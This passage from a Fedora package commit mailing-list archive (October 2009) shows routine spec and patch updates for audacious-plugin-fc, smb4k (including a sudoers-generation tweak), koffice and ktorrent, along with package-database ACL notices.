 $as_echo "$AUDACIOUS_LIBS" >&6; }
         else
@@ -6488,7 +6488,7 @@
             AUDACIOUS_LIBS=""
             ## If we have a custom action on failure, don't print errors, but
             ## do set a variable so people can do so.
-            AUDACIOUS_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "audacious >= 2.2"`
+            AUDACIOUS_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "audacious >= 2.1"`
             echo $AUDACIOUS_PKG_ERRORS
         fi
 
@@ -6503,8 +6503,8 @@
   if test $succeeded = yes; then
      :
   else
-     { { $as_echo "$as_me:$LINENO: error: Library requirements (audacious >= 2.2) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them." >&5
-$as_echo "$as_me: error: Library requirements (audacious >= 2.2) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them." >&2;}
+     { { $as_echo "$as_me:$LINENO: error: Library requirements (audacious >= 2.1) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them." >&5
+$as_echo "$as_me: error: Library requirements (audacious >= 2.1) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them." >&2;}
    { (exit 1); exit 1; }; }
   fi
 
diff -Nur audacious-plugin-fc-0.4-orig/src/Main.cpp audacious-plugin-fc-0.4/src/Main.cpp
--- audacious-plugin-fc-0.4-orig/src/Main.cpp	2009-10-23 17:21:56.000000000 +0200
+++ audacious-plugin-fc-0.4/src/Main.cpp	2009-10-24 12:28:28.616417561 +0200
@@ -263,13 +263,14 @@
         FC_init(fileBuf,fileLen,0,0);
         mixerInit(myFormat.freq,myFormat.bits,myFormat.channels,myFormat.zeroSample);
 
-        Tuple *t = aud_tuple_new_from_filename( playback->filename );
-        aud_tuple_associate_int(t, FIELD_LENGTH, NULL, msecSongLen);
-        aud_tuple_associate_string(t, FIELD_QUALITY, NULL, "sequenced");
-        playback->set_tuple( playback, t );
-
         gint bitsPerSec = myFormat.freq * myFormat.channels * myFormat.bits;
-        playback->set_params( playback, NULL, 0, bitsPerSec, myFormat.freq, myFormat.channels );
+        gchar* title;
+        gchar* pathSepPos = strrchr( playback->filename, '/' );
+        if ( pathSepPos!=0 && pathSepPos[1]!=0 )  // found file name
+            title = pathSepPos+1;
+        else
+            title = playback->filename;
+        playback->set_params( playback, title, msecSongLen, bitsPerSec, myFormat.freq, myFormat.channels );
         
         playback->playing = true;
         playback->set_pb_ready(playback);
@@ -337,7 +338,7 @@
     Tuple *t = aud_tuple_new_from_filename(filename);
 
     // delay length detection to start of playback
-    aud_tuple_associate_int(t, FIELD_LENGTH, NULL, 0);
+    aud_tuple_associate_int(t, FIELD_LENGTH, NULL, -1);
     aud_tuple_associate_string(t, FIELD_QUALITY, NULL, "sequenced");
     //aud_tuple_associate_string(ti, FIELD_TITLE, NULL, tmp);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	16 Oct 2008 09:50:58 -0000	1.3
+++ .cvsignore	24 Oct 2009 10:49:43 -0000	1.4
@@ -1 +1 @@
-audacious-plugin-fc-0.3.tar.bz2
+audacious-plugin-fc-0.4.tar.bz2


Index: audacious-plugin-fc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/F-12/audacious-plugin-fc.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- audacious-plugin-fc.spec	24 Jul 2009 17:31:42 -0000	1.15
+++ audacious-plugin-fc.spec	24 Oct 2009 10:49:43 -0000	1.16
@@ -1,18 +1,16 @@
 # Minimum audacious/audacious-plugins version in inter-package
-# dependencies. We have 2.1 for both, so we enforce 2.1.
+# dependencies. We need 2.1 for both.
 %define aud_ver 2.1
 
 %define plugindir %(pkg-config audacious --variable=input_plugin_dir)
 
 Summary: Future Composer input plugin for Audacious
 Name: audacious-plugin-fc
-Version: 0.3
-Release: 5
+Version: 0.4
+Release: 1%{?dist}
 URL: http://xmms-fc.sourceforge.net/
 License: GPLv2+
 Source:	http://download.sourceforge.net/xmms-fc/audacious-plugin-fc-%{version}.tar.bz2
-Patch0: audacious-plugin-fc-0.3-audacious2.patch
-Patch1: audacious-plugin-fc-0.3-dialog.patch
 Group: Applications/Multimedia
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: audacious-devel >= %{aud_ver}
@@ -21,6 +19,9 @@ BuildRequires: pkgconfig
 Provides: audacious-plugins-fc = %{version}-%{release}
 Requires: audacious >= %{aud_ver}
 
+# temporary patch to backport to Audacious 2.1 API
+Patch0: audacious-plugin-fc-0.4-aud21.patch
+
 
 %description
 This is an input plugin for Audacious which can play back Future Composer
@@ -29,14 +30,13 @@ music files from AMIGA. Song-length dete
 
 %prep
 %setup -q
-%patch0 -p1 -b .audacious2
-%patch1 -p1 -b .dialog
+%patch0 -p1 -b .aud21
 
 
 %build
 %configure
 # temporary work-around for #454364
-ln -s Config.h src/config.h
+#ln -s Config.h src/config.h
 # ---
 make %{?_smp_mflags}
 
@@ -58,6 +58,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
+- Patch temporarily to backport to Audacious 2.1 API.
+
+* Fri Oct 23 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 0.4-1
+- Upgrade to 0.4 for Audacious 2.2 InputPlugin API changes.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugin-fc/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	16 Oct 2008 09:50:58 -0000	1.3
+++ sources	24 Oct 2009 10:49:43 -0000	1.4
@@ -1 +1 @@
-96975f144e0e9f19d340f16e4bad27c6  audacious-plugin-fc-0.3.tar.bz2
+a36fbbddf41b162e1ed6df0b3a6637c7  audacious-plugin-fc-0.4.tar.bz2


--- audacious-plugin-fc-0.3-audacious2.patch DELETED ---


--- audacious-plugin-fc-0.3-dialog.patch DELETED ---



From mgarski at fedoraproject.org  Sat Oct 24 10:55:46 2009
From: mgarski at fedoraproject.org (Marcin Garski)
Date: Sat, 24 Oct 2009 10:55:46 +0000 (UTC)
Subject: rpms/smb4k/F-12 smb4k-0.10.4-sudo.patch, NONE, 1.1 .cvsignore, 1.28,
	1.29 smb4k.spec, 1.42, 1.43 sources, 1.28, 1.29
Message-ID: <20091024105546.A407311C00E5@cvs1.fedora.phx.redhat.com>

Author: mgarski

Update of /cvs/pkgs/rpms/smb4k/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20398

Modified Files:
	.cvsignore smb4k.spec sources 
Added Files:
	smb4k-0.10.4-sudo.patch 
Log Message:
- Update to 0.10.4
- Proper update of sudoers (#527401)
- Add kdesu to Requires (#499720)


smb4k-0.10.4-sudo.patch:
 smb4k_sudowriter.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE smb4k-0.10.4-sudo.patch ---
--- smb4k-0.10.4/utilities/smb4k_sudowriter.cpp.orig	2009-10-01 16:57:54.000000000 +0200
+++ smb4k-0.10.4/utilities/smb4k_sudowriter.cpp	2009-10-24 12:09:10.216653926 +0200
@@ -527,7 +527,7 @@
       contents.append( "# Entries for Smb4K users." );
       contents.append( "# Generated by Smb4K. Please do not modify!" );
       contents.append( "User_Alias\tSMB4KUSERS = "+QString( "%1" ).arg( adduser.join( "," ) ) );
-      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\"" );
+      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\", !requiretty" );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "
                        +KGlobal::dirs()->findResource( "exe", "smb4k_kill" ) );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-12/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	15 Mar 2009 14:43:10 -0000	1.28
+++ .cvsignore	24 Oct 2009 10:55:46 -0000	1.29
@@ -1 +1 @@
-smb4k-0.10.2.tar.bz2
+smb4k-0.10.4.tar.bz2


Index: smb4k.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-12/smb4k.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- smb4k.spec	27 Jul 2009 04:29:14 -0000	1.42
+++ smb4k.spec	24 Oct 2009 10:55:46 -0000	1.43
@@ -1,12 +1,13 @@
 Name:		smb4k
-Version:	0.10.2
-Release:	2%{?dist}
+Version:	0.10.4
+Release:	1%{?dist}
 Summary:	The SMB/CIFS Share Browser for KDE
 
 Group:		Applications/Internet
 License:	GPLv2+
 URL:		http://smb4k.berlios.de/
 Source0:	http://download.berlios.de/smb4k/%{name}-%{version}.tar.bz2
+Patch0:		smb4k-0.10.4-sudo.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	cmake >= 2.6.0
@@ -14,6 +15,7 @@ BuildRequires:	kdelibs-devel >= 4.1.0
 BuildRequires:	gettext
 BuildRequires:	desktop-file-utils
 Requires:	samba-client
+Requires:	%{_bindir}/kdesu
 
 %description
 Smb4K is an SMB/CIFS share browser for KDE. It uses the Samba software suite to
@@ -31,6 +33,7 @@ needed to develop applications using %{n
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 mkdir -p %{_target_platform}
@@ -96,6 +99,11 @@ rm -rf %{buildroot}
 %{_libdir}/libsmb4kc*.so
 
 %changelog
+* Sat Oct 24 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.4-1
+- Update to 0.10.4
+- Proper update of sudoers (#527401)
+- Add kdesu to Requires (#499720)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-12/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	15 Mar 2009 14:43:10 -0000	1.28
+++ sources	24 Oct 2009 10:55:46 -0000	1.29
@@ -1 +1 @@
-19f631160cfb69a12370c72c1841fb7e  smb4k-0.10.2.tar.bz2
+e8676d8baaecdbcee60354c687a88a55  smb4k-0.10.4.tar.bz2



From mgarski at fedoraproject.org  Sat Oct 24 10:57:30 2009
From: mgarski at fedoraproject.org (Marcin Garski)
Date: Sat, 24 Oct 2009 10:57:30 +0000 (UTC)
Subject: rpms/smb4k/F-11 .cvsignore, 1.28, 1.29 smb4k.spec, 1.41,
	1.42 sources, 1.28, 1.29
Message-ID: <20091024105730.7DBF711C00E5@cvs1.fedora.phx.redhat.com>

Author: mgarski

Update of /cvs/pkgs/rpms/smb4k/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20659

Modified Files:
	.cvsignore smb4k.spec sources 
Log Message:
- Update to 0.10.4
- Proper update of sudoers (#527401)
- Add kdesu to Requires (#499720)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-11/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	15 Mar 2009 14:43:10 -0000	1.28
+++ .cvsignore	24 Oct 2009 10:57:30 -0000	1.29
@@ -1 +1 @@
-smb4k-0.10.2.tar.bz2
+smb4k-0.10.4.tar.bz2


Index: smb4k.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-11/smb4k.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- smb4k.spec	15 Mar 2009 14:43:10 -0000	1.41
+++ smb4k.spec	24 Oct 2009 10:57:30 -0000	1.42
@@ -1,5 +1,5 @@
 Name:		smb4k
-Version:	0.10.2
+Version:	0.10.4
 Release:	1%{?dist}
 Summary:	The SMB/CIFS Share Browser for KDE
 
@@ -7,6 +7,7 @@ Group:		Applications/Internet
 License:	GPLv2+
 URL:		http://smb4k.berlios.de/
 Source0:	http://download.berlios.de/smb4k/%{name}-%{version}.tar.bz2
+Patch0:		smb4k-0.10.4-sudo.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	cmake >= 2.6.0
@@ -14,6 +15,7 @@ BuildRequires:	kdelibs-devel >= 4.1.0
 BuildRequires:	gettext
 BuildRequires:	desktop-file-utils
 Requires:	samba-client
+Requires:	%{_bindir}/kdesu
 
 %description
 Smb4K is an SMB/CIFS share browser for KDE. It uses the Samba software suite to
@@ -31,6 +33,7 @@ needed to develop applications using %{n
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 mkdir -p %{_target_platform}
@@ -96,6 +99,11 @@ rm -rf %{buildroot}
 %{_libdir}/libsmb4kc*.so
 
 %changelog
+* Sat Oct 24 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.4-1
+- Update to 0.10.4
+- Proper update of sudoers (#527401)
+- Add kdesu to Requires (#499720)
+
 * Sun Mar 15 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.2-1
 - Update to 0.10.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-11/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	15 Mar 2009 14:43:10 -0000	1.28
+++ sources	24 Oct 2009 10:57:30 -0000	1.29
@@ -1 +1 @@
-19f631160cfb69a12370c72c1841fb7e  smb4k-0.10.2.tar.bz2
+e8676d8baaecdbcee60354c687a88a55  smb4k-0.10.4.tar.bz2



From mgarski at fedoraproject.org  Sat Oct 24 10:58:10 2009
From: mgarski at fedoraproject.org (Marcin Garski)
Date: Sat, 24 Oct 2009 10:58:10 +0000 (UTC)
Subject: rpms/smb4k/F-11 smb4k-0.10.4-sudo.patch,NONE,1.1
Message-ID: <20091024105810.87B4111C00E5@cvs1.fedora.phx.redhat.com>

Author: mgarski

Update of /cvs/pkgs/rpms/smb4k/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20757

Added Files:
	smb4k-0.10.4-sudo.patch 
Log Message:
- Update to 0.10.4
- Proper update of sudoers (#527401)
- Add kdesu to Requires (#499720)


smb4k-0.10.4-sudo.patch:
 smb4k_sudowriter.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE smb4k-0.10.4-sudo.patch ---
--- smb4k-0.10.4/utilities/smb4k_sudowriter.cpp.orig	2009-10-01 16:57:54.000000000 +0200
+++ smb4k-0.10.4/utilities/smb4k_sudowriter.cpp	2009-10-24 12:09:10.216653926 +0200
@@ -527,7 +527,7 @@
       contents.append( "# Entries for Smb4K users." );
       contents.append( "# Generated by Smb4K. Please do not modify!" );
       contents.append( "User_Alias\tSMB4KUSERS = "+QString( "%1" ).arg( adduser.join( "," ) ) );
-      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\"" );
+      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\", !requiretty" );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "
                        +KGlobal::dirs()->findResource( "exe", "smb4k_kill" ) );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "



From mgarski at fedoraproject.org  Sat Oct 24 11:00:02 2009
From: mgarski at fedoraproject.org (Marcin Garski)
Date: Sat, 24 Oct 2009 11:00:02 +0000 (UTC)
Subject: rpms/smb4k/F-10 smb4k-0.10.4-sudo.patch, NONE, 1.1 .cvsignore, 1.28,
	1.29 smb4k.spec, 1.40, 1.41 sources, 1.28, 1.29
Message-ID: <20091024110002.5BA7D11C02A6@cvs1.fedora.phx.redhat.com>

Author: mgarski

Update of /cvs/pkgs/rpms/smb4k/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21055

Modified Files:
	.cvsignore smb4k.spec sources 
Added Files:
	smb4k-0.10.4-sudo.patch 
Log Message:
- Update to 0.10.4
- Proper update of sudoers (#527401)
- Add kdesu to Requires (#499720)


smb4k-0.10.4-sudo.patch:
 smb4k_sudowriter.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE smb4k-0.10.4-sudo.patch ---
--- smb4k-0.10.4/utilities/smb4k_sudowriter.cpp.orig	2009-10-01 16:57:54.000000000 +0200
+++ smb4k-0.10.4/utilities/smb4k_sudowriter.cpp	2009-10-24 12:09:10.216653926 +0200
@@ -527,7 +527,7 @@
       contents.append( "# Entries for Smb4K users." );
       contents.append( "# Generated by Smb4K. Please do not modify!" );
       contents.append( "User_Alias\tSMB4KUSERS = "+QString( "%1" ).arg( adduser.join( "," ) ) );
-      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\"" );
+      contents.append( "Defaults:SMB4KUSERS\tenv_keep += \"PASSWD USER\", !requiretty" );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "
                        +KGlobal::dirs()->findResource( "exe", "smb4k_kill" ) );
       contents.append( "SMB4KUSERS\t"+hostname+" = NOPASSWD: "


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-10/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	15 Mar 2009 14:45:54 -0000	1.28
+++ .cvsignore	24 Oct 2009 11:00:01 -0000	1.29
@@ -1 +1 @@
-smb4k-0.10.2.tar.bz2
+smb4k-0.10.4.tar.bz2


Index: smb4k.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-10/smb4k.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- smb4k.spec	15 Mar 2009 14:45:55 -0000	1.40
+++ smb4k.spec	24 Oct 2009 11:00:01 -0000	1.41
@@ -1,5 +1,5 @@
 Name:		smb4k
-Version:	0.10.2
+Version:	0.10.4
 Release:	1%{?dist}
 Summary:	The SMB/CIFS Share Browser for KDE
 
@@ -7,6 +7,7 @@ Group:		Applications/Internet
 License:	GPLv2+
 URL:		http://smb4k.berlios.de/
 Source0:	http://download.berlios.de/smb4k/%{name}-%{version}.tar.bz2
+Patch0:		smb4k-0.10.4-sudo.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	cmake >= 2.6.0
@@ -14,6 +15,7 @@ BuildRequires:	kdelibs-devel >= 4.1.0
 BuildRequires:	gettext
 BuildRequires:	desktop-file-utils
 Requires:	samba-client
+Requires:	%{_bindir}/kdesu
 
 %description
 Smb4K is an SMB/CIFS share browser for KDE. It uses the Samba software suite to
@@ -31,6 +33,7 @@ needed to develop applications using %{n
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 mkdir -p %{_target_platform}
@@ -96,6 +99,11 @@ rm -rf %{buildroot}
 %{_libdir}/libsmb4kc*.so
 
 %changelog
+* Sat Oct 24 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.4-1
+- Update to 0.10.4
+- Proper update of sudoers (#527401)
+- Add kdesu to Requires (#499720)
+
 * Sun Mar 15 2009 Marcin Garski <mgarski[AT]post.pl> 0.10.2-1
 - Update to 0.10.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smb4k/F-10/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	15 Mar 2009 14:45:55 -0000	1.28
+++ sources	24 Oct 2009 11:00:01 -0000	1.29
@@ -1 +1 @@
-19f631160cfb69a12370c72c1841fb7e  smb4k-0.10.2.tar.bz2
+e8676d8baaecdbcee60354c687a88a55  smb4k-0.10.4.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct 24 11:09:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:09:45 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchbugzilla
Message-ID: <20091024110945.7E2F610F871@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on kipi-plugins (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:09:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:09:49 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchcommits
Message-ID: <20091024110949.9117A10F871@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on kipi-plugins (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:00 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchbugzilla
Message-ID: <20091024111001.085B910F871@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on kipi-plugins (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:03 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchcommits
Message-ID: <20091024111003.649CE10F888@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on kipi-plugins (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:07 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchbugzilla
Message-ID: <20091024111008.1A0B610F891@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on kipi-plugins (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:10 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchcommits
Message-ID: <20091024111010.C492E10F88E@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on kipi-plugins (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:12 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchbugzilla
Message-ID: <20091024111012.ABF1B10F87C@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on kipi-plugins (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:14 +0000
Subject: [pkgdb] kipi-plugins: mgarski has given up watchcommits
Message-ID: <20091024111014.7558610F892@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on kipi-plugins (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/kipi-plugins



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:47 +0000
Subject: [pkgdb] libkexiv2: mgarski has given up watchcommits
Message-ID: <20091024111047.3DD5610F88F@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on libkexiv2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libkexiv2



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:45 +0000
Subject: [pkgdb] libkexiv2: mgarski has given up watchbugzilla
Message-ID: <20091024111045.72A5C10F885@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on libkexiv2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libkexiv2



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:54 +0000
Subject: [pkgdb] libkexiv2: mgarski has given up watchbugzilla
Message-ID: <20091024111054.5778110F894@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchbugzilla acl on libkexiv2 (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/libkexiv2



From pkgdb at fedoraproject.org  Sat Oct 24 11:10:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 24 Oct 2009 11:10:55 +0000
Subject: [pkgdb] libkexiv2: mgarski has given up watchcommits
Message-ID: <20091024111055.D8E3510F89C@bastion2.fedora.phx.redhat.com>

mgarski has given up the watchcommits acl on libkexiv2 (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/libkexiv2



From rdieter at fedoraproject.org  Sat Oct 24 12:34:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 12:34:48 +0000 (UTC)
Subject: rpms/koffice/devel koffice.spec,1.127,1.128
Message-ID: <20091024123448.EC62F11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4812

Modified Files:
	koffice.spec 
Log Message:
fix %files



Index: koffice.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice/devel/koffice.spec,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- koffice.spec	24 Oct 2009 04:40:39 -0000	1.127
+++ koffice.spec	24 Oct 2009 12:34:48 -0000	1.128
@@ -704,8 +704,8 @@ update-desktop-database -q &> /dev/null 
 %{_kde4_appsdir}/kformula/
 %{_kde4_datadir}/kde4/services/kformula*.desktop
 %{_kde4_datadir}/applications/kde4/*kformula.desktop
-#{_kde4_docdir}/HTML/en/kformula/
-#{_kde4_datadir}/kde4/services/ServiceMenus/kformula_konqi.desktop
+%{_kde4_docdir}/HTML/en/kformula/
+%{_kde4_datadir}/kde4/services/ServiceMenus/kformula_konqi.desktop
 %endif
 
 %if 0%{?kivio}



From rdieter at fedoraproject.org  Sat Oct 24 13:06:33 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 13:06:33 +0000 (UTC)
Subject: rpms/ktorrent/F-12 .cvsignore, 1.33, 1.34 ktorrent.spec, 1.107,
	1.108 sources, 1.33, 1.34
Message-ID: <20091024130633.4025B11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/ktorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9627

Modified Files:
	.cvsignore ktorrent.spec sources 
Log Message:
* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
- ktorrent-3.2.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-12/.cvsignore,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- .cvsignore	27 Sep 2009 23:41:33 -0000	1.33
+++ .cvsignore	24 Oct 2009 13:06:32 -0000	1.34
@@ -1 +1 @@
-ktorrent-3.2.4.tar.bz2
+ktorrent-3.2.5.tar.bz2


Index: ktorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-12/ktorrent.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- ktorrent.spec	27 Sep 2009 23:45:24 -0000	1.107
+++ ktorrent.spec	24 Oct 2009 13:06:32 -0000	1.108
@@ -2,7 +2,7 @@
 # Fedora pkg review: http://bugzilla.redhat.com/187818
 
 Name:           ktorrent
-Version:        3.2.4
+Version:        3.2.5
 Release:        1%{?dist}
 Summary:        A BitTorrent program
 Group:          Applications/Internet
@@ -157,6 +157,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.5-1
+- ktorrent-3.2.5
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.4-1
 - ktorrent-3.2.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/F-12/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	27 Sep 2009 23:41:33 -0000	1.33
+++ sources	24 Oct 2009 13:06:32 -0000	1.34
@@ -1 +1 @@
-e3c595c9ac667985764058902a1489ea  ktorrent-3.2.4.tar.bz2
+0b0c3ebd2e0125ef65dbf67a584d1295  ktorrent-3.2.5.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 24 13:25:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
